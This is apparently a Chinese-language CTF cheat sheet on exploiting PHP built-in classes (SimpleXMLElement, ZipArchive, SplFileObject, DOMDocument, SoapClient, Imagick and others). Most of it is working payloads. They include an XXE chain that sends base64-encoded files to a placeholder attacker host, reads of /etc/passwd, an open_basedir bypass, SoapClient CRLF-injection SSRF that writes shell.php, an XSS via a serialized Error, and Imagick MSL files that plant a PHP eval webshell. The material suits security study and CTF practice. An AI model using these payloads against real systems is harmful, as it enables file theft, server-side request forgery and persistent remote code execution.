原生类利用
XXE: SimpleXMLElement
class SimpleXMLElement implements Stringable, Countable, RecursiveIterator {
/* Methods */
public __construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
)
public addAttribute(string $qualifiedName, string $value, ?string $namespace = null): void
public addChild(string $qualifiedName, ?string $value = null, ?string $namespace = null): ?SimpleXMLElement
public asXML(?string $filename = null): string|bool
public attributes(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement
public children(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement
public count(): int
public getDocNamespaces(bool $recursive = false, bool $fromRoot = true): array|false
public getName(): string
public getNamespaces(bool $recursive = false): array
public registerXPathNamespace(string $prefix, string $namespace): bool
public __toString(): string
public xpath(string $expression): array|null|false
}
- data: xml 字符串,xml 文档路径或者 url 路径(如果 dataIsURL 为 true
- dataIsURL: 默认情况下为 false,为 true 时 data 为一个 url 路径
- option:设置为 LIBXML_NOENT 时,可能会导致 xxe 攻击,LIBXML_NOENT 为 2.
读取文件
poc:
$x=new SimpleXMLElement("http://xxx.xxx.xxx.xxx/evil.xml",2,true);
evil.xml
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/send.xml">
%remote;
%all;
%send;
]>
send.xml
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/send.php?file=%file;'>">
SSRF
XXE:SimpleXMLIterator
可用于代替 SimpleXMLElement
文件操作:ZipArchive
利用版本: (PHP 5 >= 5.2.0, PHP 7, PECL zip >= 1.1.0)
这个类是在php5.2.0之后引入的,我们之前会在一些原生类利用中见到它,我们可以用这个类来删除文件,读取文件以及有损写文件。
删除文件
$a=new ZipArchive();
$a->open("file", ZipArchive::OVERWRITE); // ZipArchive::CREATE也可以用8代替
读取文件
$f = "flag";
$zip=new ZipArchive();
$zip->open("a.zip", ZipArchive::CREATE);
$zip->addFile($f);
$zip->close();
$zip->open("a.zip");
echo $zip->getFromName($f);
$zip->close();
有损写文件
$f = "flag";
$zip=new ZipArchive();
$zip->open("a.zip", ZipArchive::CREATE);
$zip->setArchiveComment("<?php phpinfo();?>");
$zip->addFromString("file", "");
$zip->close();
//include "a.zip";
读写文件:SplFileObject
SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等。所以我们也可以利用这个类中的方法代替普通函数来读写文件。
读文件
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
// 或者用伪协议base64直接输出,有时候有奇效
$context = new SplFileObject('php://filter/read=convert.base64-encode/resource=/etc/passwd');
echo $context;
写文件
$f = new SplFileObject('./file', "w");
$f->fwrite("file");
读写文件:DOMDocument
利用版本:(PHP 5, PHP 7)
这个类本意是处理 XML 和 HTML 内容,不过也有相应的读/写文件的方法,只要利用 伪协议 稍做加工就可以无杂质地对数据进行操作。
读文件
# 读文件
# 先用 convert.base64 将文件内容base64,避免出现额外的 <p> 标签
# 然后将读取的内容转换成 XML 格式,再加载它,最后取 <p> 标签内的内容 (如果想获取纯净流则可以再进行base64解码)
$f="/etc/passwd";
$d=new DOMDocument();
$d->loadHTMLFile("php://filter/convert.base64-encode/resource=$f");
$d->loadXML($d->saveXML());
echo $d->getElementsByTagName("p")[0]->textContent;
写文件
# 写文件
# 先用 string.strip_tags 将多余的 HTML 标签去掉,然后再用 convert.base64 将多余的其他杂质 (如空格,双引号等非base64字符去掉)
$f="./test.php";
$d=new DOMDocument();
$d->loadHTML("dGVzdA==");
$d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=$f");
读文件:Xinclude
<?php
$a = filter_input(1,"file");;
$xml = <<<EOD
<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="$a" parse="text"/>
</root>
EOD;
$dom = new DOMDocument;
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
$dom->loadXML($xml);
$dom->xinclude();
echo $dom->saveXML();
判断文件是否存在:finfo
利用版本: (PHP >= 5.3.0, PECL fileinfo >= 0.1.0) 判断文件是否存在(判断文件类型)
$f = "./aasd.php";
$ff = new finfo(FILEINFO_MIME);
echo $ff->file($f);
反序列化:Phar
利用版本: (PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)
目录枚举:Directory
这个类本意是不能够直接通过 new 方式进行创建利用,当使用 dir 函数时,这个类会被实例化。但我们依然可以直接实例化并使用其中的方法
判断目录是否存在
# 判断某个目录是否存在,
# 如果存在返回目录字符串,若不存在则产生警告并返回NULL
$dir="/etc";
echo (new Directory)->read(opendir($dir));
列目录 poc
$dir = "/etc";
$d = new Directory;
$d->resource = opendir($dir);
while(($c = $d->read($d->resource))){echo $c."\n";};
目录枚举:DirectoryIterator
DirectoryIterator 会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名.
注意: DirectoryIterator 配合 glob:// 协议可以突破 open_basedir 限制。
<?php
$dir=new DirectoryIterator("/");
echo $dir;
遍历文件目录,直接对文件全部输出出来.
<?php
$dir=new DirectoryIterator("/");
foreach($dir as $f){
echo($f.'<br>');
//echo($f->__toString().'<br>');
}
利用 DirectoryIterator 类对象 + glob:// 协议获取目录结构,能够突破 open_basedir 的限制:
$dir=new DirectoryIterator("glob:///*");
foreach($dir as $f){
echo($f.'<br>');
//echo($f->__toString().'<br>');
}
一些其他的用法:
# 简单列目录
$dir = "./geek";
$d = new DirectoryIterator($dir);
while ($d->valid()){
echo $d."\n";
$d->next();
}
# 也可以用来获取文件的信息
$dir = "./geek";
$d = new DirectoryIterator($dir);
while($d->valid()){
# 获取最后访问时间
var_dump($d->getATime());
# 获取创建时间
var_dump($d->getCTime());
# 获取最后修改时间
var_dump($d->getMtime());
# 获取文件名,
# 直接用 __toString 也可以
var_dump($d->getFilename());
var_dump((string)$d);
# 获取文件名 (自动除去后缀名),
# 比如除去 .php 后缀名
var_dump($d->getBasename("php"));
# 获取目录和文件名
var_dump($d->getPathname());
# 获取文件所有者
var_dump($d->getOwner());
# 获取文件所有组
var_dump($d->getGroup());
# 获取文件inode编号
var_dump($d->getInode());
# 获取文件权限
var_dump(substr(sprintf("%o",$d->getPerms()),-4));
# 获取文件大小
var_dump(($d->getSize()/1024)." kb");
# 获取文件类型 (file/dir)
var_dump($d->getType());
# 判断文件是否是目录
var_dump($d->isDir());
# 判断文件是否是文件 (不是目录)
var_dump($d->isFile());
# 判断文件是否为 ./..
var_dump($d->isDot());
# 判断文件是否可执行
var_dump($d->isExecute());
# 判断文件是否是链接文件
var_dump($d->isLink());
# 判断文件是否可读
var_dump($d->isReadable());
# 判断文件是否可写
var_dump($d->isWriteable());
$d->next();
}
# 一些其他方法的功能
# 获取当前目录路径 (其实也就是 ? )
var_dump($d->path());
# 获取当前元素的索引
var_dump($d->key());
# 将当前索引移动到下一个元素
$d->next();
# 将索引重置到开头
$d->rewind();
# 设置索引
$d->seek(0);
# 判断当前索引的文件是否合法 (是否是一个文件)
$d->vaild();
目录枚举:FilesystemIterator#
利用版本:(PHP 5 >= 5.3.0, PHP 7)
其实这个类实际上也就是 DirectoryIterator 类的升级版,基本继承了 DirectorIterator 类的所有方法,所以利用方式和 DirectorIterator 一样:
目录枚举:GlobIterator
利用版本:(PHP 5 >= 5.3.0, PHP 7) GlobIterator 无需配合 glob:// 协议枚举目录。
foreach(new GlobIterator("./*") as $f){
echo $f."\n";
}
在 CTF 中如果知道了 flag 的位置,但不知道 flag 的文件名,则可以使用:GlobIterator("/*flag*")
字符转换:IntlChar
利用版本:(PHP 7, PHP 8, Intl extension)
可以取代ord,chr等函数
# ord 和 chr 函数
IntlChar::ord("a");
IntlChar::chr(97);
反射:ReflectionFunction
利用版本:(PHP 5, PHP 7) poc#
可以通过这个反射类拿到许多函数中的信息
# 反射调用函数
(new ReflectionFunction("func?"))->invoke(args);
(new ReflectionFunction("func?"))->invokeArgs([args1,args2]);
# 获取函数信息
(new ReflectionFunction("func?"))->isDisabled() // 函数是否可用
(new ReflectionFunction("func?"))->getClosure() // 获取该匿名函数
(new ReflectionFunction("func?"))->getDocComment() // 获取函数注释内容
(new ReflectionFunction("func?"))->getStartLine() // 获取函数开始行号
(new ReflectionFunction("func?"))->getEndLine() // 获取函数结束行号
(new ReflectionFunction("func?"))->getExtensionName() // 获取扩展名称
(new ReflectionFunction("func?"))->getName() // 获取函数名称
(new ReflectionFunction("func?"))->getNamespaceName() // 获取命名空间名称
(new ReflectionFunction("func?"))->getNumberOfParameters() // 获取函数参数数量
(new ReflectionFunction("func?"))->getNumberOfRequiredParameters() // 获取函数必须传入的参数数量
(new ReflectionFunction("func?"))->getParameters() // 获取函数参数名
(new ReflectionFunction("func?"))->getShortName() // 获取函数短名
(new ReflectionFunction("func?"))->getStaticVariables() // 获取函数静态变量
(new ReflectionFunction("func?"))->hasReturnType() // 函数是否有特定返回类型
(new ReflectionFunction("func?"))->inNamespace() // 函数是否定义在命名空间
(new ReflectionFunction("func?"))->isClosure() // 函数是否是匿名函数
(new ReflectionFunction("func?"))->isDeprecated() // 函数是否弃用
(new ReflectionFunction("func?"))->isGenerator() // 函数是否是生成器函数
(new ReflectionFunction("func?"))->isInternal() // 函数是否是内部函数
(new ReflectionFunction("func?"))->isUserDefined() // 函数是否是用户定义
反射:ReflectionMethod
利用功能:
- 设置类中私有/受保护是否可以直接访问
- 通过反射调用方法
- 获取方法信息
# 反射调用方法
(new ReflectionMethod("class?","method?"))->invoke(new [class?]/NULL(静态类),args1,args2);
(new ReflectionMethod("class?","method?"))->invokeArgs(new [class?]/NULL(静态类,[args1,args2]));
# 设置私有/受保护方法
$f = new ReflectionMethod("class?","method?");
$f->setAccessible(true);
$f->invoke(new [class?]);
(new [class?])->[method?](); // 会报错
# 获取函数信息
(new ReflectionMethod("class?","method?"))->getDeclaringClass() // 获取反射方法的类作为反射类返回
(new ReflectionMethod("class?","method?"))->isAbstract() // 方法是否是抽象方法
(new ReflectionMethod("class?","method?"))->isConstructor() // 方法是否是 __construct
(new ReflectionMethod("class?","method?"))->isDestructor() // 方法是否是 __destruct
(new ReflectionMethod("class?","method?"))->isFinal() // 方法是否定义了final
(new ReflectionMethod("class?","method?"))->isPrivate() // 方法是否是私有方法
(new ReflectionMethod("class?","method?"))->isProtected() // 方法是否是受保护方法
(new ReflectionMethod("class?","method?"))->isPublic() // 方法是否是公有方法
(new ReflectionMethod("class?","method?"))->isStatic() // 方法是否是静态方法
(new ReflectionMethod("class?","method?"))->getDocComment() // 获取方法注释内容
(new ReflectionMethod("class?","method?"))->getStartLine() // 获取方法开始行号
(new ReflectionMethod("class?","method?"))->getEndLine() // 获取方法结束行号
(new ReflectionMethod("class?","method?"))->getExtensionName() // 获取扩展名称
(new ReflectionMethod("class?","method?"))->getName() // 获取方法名称
(new ReflectionMethod("class?","method?"))->getNamespaceName() // 获取命名空间名称
(new ReflectionMethod("class?","method?"))->getNumberOfParameters() // 获取方法参数数量
(new ReflectionMethod("class?","method?"))->getNumberOfRequiredParameters() // 获取方法必须传入的参数数量
(new ReflectionMethod("class?","method?"))->getParameters() // 获取方法参数名
(new ReflectionMethod("class?","method?"))->getShortName() // 获取方法短名
(new ReflectionMethod("class?","method?"))->getStaticVariables() // 获取方法静态变量
(new ReflectionMethod("class?","method?"))->hasReturnType() // 方法是否有特定返回类型
(new ReflectionMethod("class?","method?"))->inNamespace() // 方法是否定义在命名空间
(new ReflectionMethod("class?","method?"))->isClosure() // 方法是否是匿名函数
(new ReflectionMethod("class?","method?"))->isDeprecated() // 方法是否弃用
(new ReflectionMethod("class?","method?"))->isGenerator() // 方法是否是生成器函数
(new ReflectionMethod("class?","method?"))->isInternal() // 方法是否是内部函数
(new ReflectionMethod("class?","method?"))->isUserDefined() // 方法是否是用户定义
反射:ReflectionClass
利用版本:(PHP 5, PHP 7)
利用功能:
- 获取/修改类中静态属性的值
- 获取类中属性的值
- 实例化新类
- 获取类信息
```php
获取/修改类中静态属性的值
(new ReflectionClass(“class?”))->getStaticProperties(); # 获取静态属性 (new ReflectionClass(“class?”))->getStaticPropertyValue(“key?”,”default_value?”); # 获取指定静态属性的值,可以手动设置默认值 (new ReflectionClass(“class?”))->setStaticPropertyValue(“key?”,”value?”); # 设置静态属性的值
获取类中属性的值
(new ReflectionClass(“class?”))->getProperties(); # 获取属性 (new ReflectionClass(“class?”))->getProperty(“key?”) # 获取指定属性的值
实例化新类,
比如反射 phpinfo 函数
$c = new ReflectionClass(‘ReflectionFunction’); $iv = $c->newInstance(‘phpinfo’); $ia = $c->newInstanceArgs(array(‘phpinfo’)); $ie = $c->newInstanceWithoutConstructor(); // 调用一个类但不调用其 __construct 方法
获取类信息
(new ReflectionClass(“class?”))->export(); // 导出类 (new ReflectionClass(“class?”))->getConstant(string $name) // 获取类中指定常量值 (new ReflectionClass(“class?”))->getConstants(?int $filter = null) // 获取类中所有常量值 (new ReflectionClass(“class?”))->getConstructor() // 获取类中构造方法(__construct)作为反射方法返回 (new ReflectionClass(“class?”))->getDefaultProperties() // 获取类中默认属性 (new ReflectionClass(“class?”))->getDocComment() // 获取类的注释 (new ReflectionClass(“class?”))->getStartLine() // 获取类开始行号 (new ReflectionClass(“class?”))->getEndLine() // 获取类结束行号 (new ReflectionClass(“class?”))->getExtensionName() // 获取类的扩展名称 (new ReflectionClass(“class?”))->getFileName() // 获取类所在的文件名 (new ReflectionClass(“class?”))->getInterfaceNames() // 获取类的接口名称 (new ReflectionClass(“class?”))->getInterfaces() // 获取类的接口 (new ReflectionClass(“class?”))->getMethod(string $name) // 获取类的指定方法作为反射方法返回 (new ReflectionClass(“class?”))->getMethods() // 获取类的方法 (new ReflectionClass(“class?”))->getModifiers() // 获取类的修饰符 (new ReflectionClass(“class?”))->getName() // 获取类名称 (new ReflectionClass(“class?”))->getNamespaceName() // 获取类所在命名空间名称 (new ReflectionClass(“class?”))->getParentClass() // 获取父类作为反射类返回 (new ReflectionClass(“class?”))->getReflectionConstant() // 获取类的指定常量作为反射类常量返回 (new ReflectionClass(“class?”))->getReflectionConstants() // 获取类的常量作为反射类常量数组返回 (new ReflectionClass(“class?”))->getShortName() // 获取类的短名 (new ReflectionClass(“class?”))->getTraitAliases() // 获取类所使用 trait 别名的数组 (new ReflectionClass(“class?”))->getTraitNames() // 获取类所使用 traits 名称的数组 (new ReflectionClass(“class?”))->getTraits() // 获取类所使用的 traits (new ReflectionClass(“class?”))->hasConstant(string $name) // 类是否有指定的常量 (new ReflectionClass(“class?”))->hasMethod(string $name) // 类是否有指定的方法 (new ReflectionClass(“class?”))->implementsInterface(string $interface) // 类是否实现指定的接口 (new ReflectionClass(“class?”))->inNamespace() // 类是否在命名空间中 (new ReflectionClass(“class?”))->isAbstract() // 类是否是抽象类 (new ReflectionClass(“class?”))->isAnonymous() // 类是否是匿名类 (new ReflectionClass(“class?”))->isCloneable() // 类是否是可复制的 (new ReflectionClass(“class?”))->isFinal() // 类是否声明为 final (new ReflectionClass(“class?”))->isInternal() // 类是否是内部的 (new ReflectionClass(“class?”))->isIterable() // 类是否是一个迭代类 (new ReflectionClass(“class?”))->isIterateable() // 类是否是可迭代的 (new ReflectionClass(“class?”))->isSubclassOf(string $class) // 类是否是指定类的子类 (new ReflectionClass(“class?”))->isTrait() // 类是否是 trait (new ReflectionClass(“class?”))->isUserDefined() // 类是否是用户定义的
## SSRF: SoapClient::__call
range:PHP 5, PHP 7, PHP 8
SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式,仅限于http/https协议
SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。
如果想要使用SoapClient类需要在php.ini配置文件里面开启 extension=php_soap.dll 选项
```php
<?php
$target= 'http://127.0.0.1/demo.php';
$post_string= '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers= array(
'X-Forwarded-For:127.0.0.1',
'Cookie:admin=1'
);
$b= new SoapClient(null,array('location'=> $target,'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"xxx"));
//因为User-agent是可以控制的,因此可以利用crlf注入http头部发送post请求
$aaa= serialize($b);
$aaa= str_replace('^^','%0d%0a',$aaa);
$aaa= str_replace('&','%26',$aaa);
echo $aaa;
$x= unserialize(urldecode($aaa));//调用__call方法触发网络请求发送
$x->no_func();
$target = "http://ekii.eyes.sh/flag.php";
$headers = array(
'X-Forwarded-For:127.0.0.1',
"Cookie: PHPSESSID=s8fo8ma30gbttqvgdbb48k6rm4"
);
$adapter = new SoapClient(null, array('uri' => 'aaab', 'location' => $target, 'user_agent' => 'Y1ng^^' . join('^^', $headers)));
$aaa= serialize($adapter);
$aaa= str_replace('^^','%0d%0a',$aaa);
$aaa= str_replace('&','%26',$aaa);
XSS: Error/Exception
range:Error(php7, PHP8), Exception(php5, php7, PHP8)
通过内置__toString()魔术方法触发。
demo:
<?php
$a = unserialize($_GET['a']);
echo $a;
Error Class Exp
<?php
$a = new Error("<script>alert(1)</script>");
echo urlencode(serialize($a));
#注意版本是PHP7
文件创建:SQLite3
可以创建一个空文件。
new SQLite3('/tmp/sky/evil.php');
RCE:Imagick
Exploiting Arbitrary Object Instantiations in PHP without Custom Classes – PT SWARM 这篇文章的作者在应对如下场景时找到了一种新的利用手法——Imagick。
new $_GET['a']($_GET['b']);
如果仅可控类名和一个参数名,且只能够实例化对象,不能执行对象方法的情况下,同样可以实现 RCE。
空字节截断
Imagick 参数被空字节截断也可以正常使用
# No errors
$a = new Imagick("/tmp/positive.png\x00.jpg");
# No errors
$a = new Imagick("http://attacker.com/test\x00test");
https:/
https:/ 会调用 curl
$a = new Imagick("https:/127.0.0.1:9999/positive.png\x00.jpg");
vid + tempfile RCE
php 会将 post 接收到的文件以临时文件的形式保存在 /tmp 下。假设我们上传一个 msl 文件如下
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php @eval(@$_REQUEST['a']); ?>" />
<!-- Relative paths such as info:./../../uploads/swarm.php can be used as well -->
<write filename="info:/var/www/swarm.php" />
</image>
如果使用 vid:msl 的形式将该临时文件进行读取,解析 msl 时会将 webshell 的内容写入 /var/www/swarm.php
$a = new Imagick("vid:msl:/tmp/php*");
CISCN 2022 有根据这个知识点出过题:CTF-Challenges/CISCN/2022/backdoor/writup/writup.md at master · AFKL-CUIT/CTF-Challenges · GitHub,但利用 payload 有所区别, 使用 inline 将文件内容以 base64 的形式编码在 msl 文件中。
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" />
<write filename="/tmp/sess_afkl" />
</image>
SCTF 2023 中对这种利用方式进行了探索,可以达到读取文件内容的效果。
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="mvg:/flag" />
<write filename="/tmp/xxxx" />
</image>
所有内置类
枚举所有内置类
<?php
$class_names = get_declared_classes();
foreach ($class_names as $class_name) {
$rc = new ReflectionClass($class_name);
$constructor = $rc->getConstructor();
if ($constructor != NULL) {
$params = $constructor->getParameters();
echo "new $class_name(";
foreach ($params as $param) {
$name = $param->getName();
$opt = $param->isOptional();
if ($opt) {
echo "[$name], ";
} else {
echo "$name, ";
}
}
if (empty($params)) {
echo "[none or dynamic]";
}
echo ")\n";
}
}
全部版本的输出可见 [Online PHP editor | output for 2JEGF](https://3v4l.org/2JEGF#v8.2.4) |
参考
- Longlone’s Blog 任意代码执行下的php原生类利用
- php原生类利用
- CTF-Challenges/CISCN/2022/backdoor/writup/writup.md at master · AFKL-CUIT/CTF-Challenges · GitHub
- Exploiting Arbitrary Object Instantiations in PHP without Custom Classes – PT SWARM
-
[Online PHP editor output for 2JEGF](https://3v4l.org/2JEGF#v8.2.4)